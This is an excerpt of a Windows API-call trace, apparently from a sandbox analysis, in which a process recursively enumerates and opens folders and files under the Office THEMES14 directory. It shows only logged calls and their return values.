FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a84fa90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x24a, dwReserved0=0x0, dwReserved1=0x0, cFileName="REFINED.INF", cAlternateFileName="")) returned 1 [0242.542] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x3d79, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0242.542] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x3d79, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0242.542] GetLastError () returned 0x12 [0242.542] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x91aa38) returned 1 [0242.542] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0242.542] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x91a930) returned 1 [0242.542] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9100b8) returned 1 [0242.542] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a89bd50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d1db890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d1db890, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RICEPAPR", cAlternateFileName="")) returned 1 [0242.542] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x9100b8 [0242.542] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr"), fInfoLevelId=0x0, lpFileInformation=0x15fee50 | out: lpFileInformation=0x15fee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a89bd50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d1db890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d1db890, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0242.647] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0242.647] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0242.647] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x91d268 [0242.648] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x91d268, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x91d268, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0242.648] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x91d268) returned 1 [0242.648] NtClose (Handle=0x1b0) returned 0x0 [0242.648] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9100b8) returned 1 [0242.648] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0242.648] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0242.648] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x9100b8 [0242.648] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0242.648] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x91b490 [0242.648] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd560 [0242.648] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a89bd50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d1db890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d1db890, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0242.648] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xf82, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0242.648] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0242.648] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0242.648] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0242.648] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0242.648] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0242.648] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x91b598 [0242.648] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0242.648] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x913c20 [0242.648] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x91b6a0 [0242.649] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0242.649] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ffb1e00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x5a89bd50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1ffb1e00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x1205e, dwReserved0=0x0, dwReserved1=0x0, cFileName="RICEPAPR.ELM", cAlternateFileName="")) returned 1 [0242.649] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0242.649] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0242.649] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0242.649] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0242.649] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0242.649] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x913c40 [0242.649] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x91b7a8 [0242.649] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0242.649] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d1db890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x239, dwReserved0=0x0, dwReserved1=0x0, cFileName="RICEPAPR.INF", cAlternateFileName="")) returned 1 [0242.649] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0242.649] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0242.649] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0242.649] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0242.649] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0242.649] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x913c60 [0242.649] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x91b8b0 [0242.649] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0242.649] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xcf7b, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0242.649] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0242.649] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0242.649] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0242.649] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0242.649] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0242.649] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x913c80 [0242.649] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x91b9b8 [0242.650] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0242.650] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xcf7b, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0242.650] GetLastError () returned 0x12 [0242.650] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd620 [0242.650] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0242.650] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a89bd50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d1db890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d1db890, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0242.650] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xf82, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0242.650] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ffb1e00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x5a89bd50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1ffb1e00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x1205e, dwReserved0=0x0, dwReserved1=0x0, cFileName="RICEPAPR.ELM", cAlternateFileName="")) returned 1 [0242.650] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d1db890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x239, dwReserved0=0x0, dwReserved1=0x0, cFileName="RICEPAPR.INF", cAlternateFileName="")) returned 1 [0242.650] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xcf7b, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0242.650] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xcf7b, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0242.650] GetLastError () returned 0x12 [0242.650] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x91b490) returned 1 [0242.650] FindClose (in: hFindFile=0x4fd620 | out: hFindFile=0x4fd620) returned 1 [0242.650] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x91b598) returned 1 [0242.650] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9100b8) returned 1 [0242.650] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RIPPLE", cAlternateFileName="")) returned 1 [0242.650] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0242.650] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple"), fInfoLevelId=0x0, lpFileInformation=0x15fee50 | out: lpFileInformation=0x15fee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0242.651] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1bc [0242.651] SetFileTime (hFile=0x1bc, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0242.651] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x91d268 [0242.651] DeviceIoControl (in: hDevice=0x1bc, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x91d268, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x91d268, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0242.651] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x91d268) returned 1 [0242.651] NtClose (Handle=0x1bc) returned 0x0 [0242.651] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0242.651] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0242.651] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0242.651] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x9100b8 [0242.651] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0242.651] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x91b598 [0242.651] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd620 [0242.651] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0242.651] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xa2c, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0242.652] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0242.652] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0242.652] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0242.652] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0242.652] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0242.652] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x91b490 [0242.652] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0242.652] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x913ca0 [0242.652] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x91bac0 [0242.652] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0242.652] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x212c4b00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x6d2019f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x212c4b00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x101e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RIPPLE.ELM", cAlternateFileName="")) returned 1 [0242.652] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0242.652] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0242.652] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0242.652] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0242.652] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0242.652] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x913cc0 [0242.652] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x91bbc8 [0242.652] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0242.652] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a89bd50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1e7, dwReserved0=0x0, dwReserved1=0x0, cFileName="RIPPLE.INF", cAlternateFileName="")) returned 1 [0242.652] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0242.652] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0242.652] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0242.652] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0242.652] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0242.652] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x913ce0 [0242.653] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x91bcd0 [0242.653] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0242.653] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7ce7, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0242.653] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0242.653] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0242.653] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0242.653] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0242.653] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0242.653] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x913d00 [0242.653] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x91bdd8 [0242.653] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0242.653] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7ce7, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0242.653] GetLastError () returned 0x12 [0242.653] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, 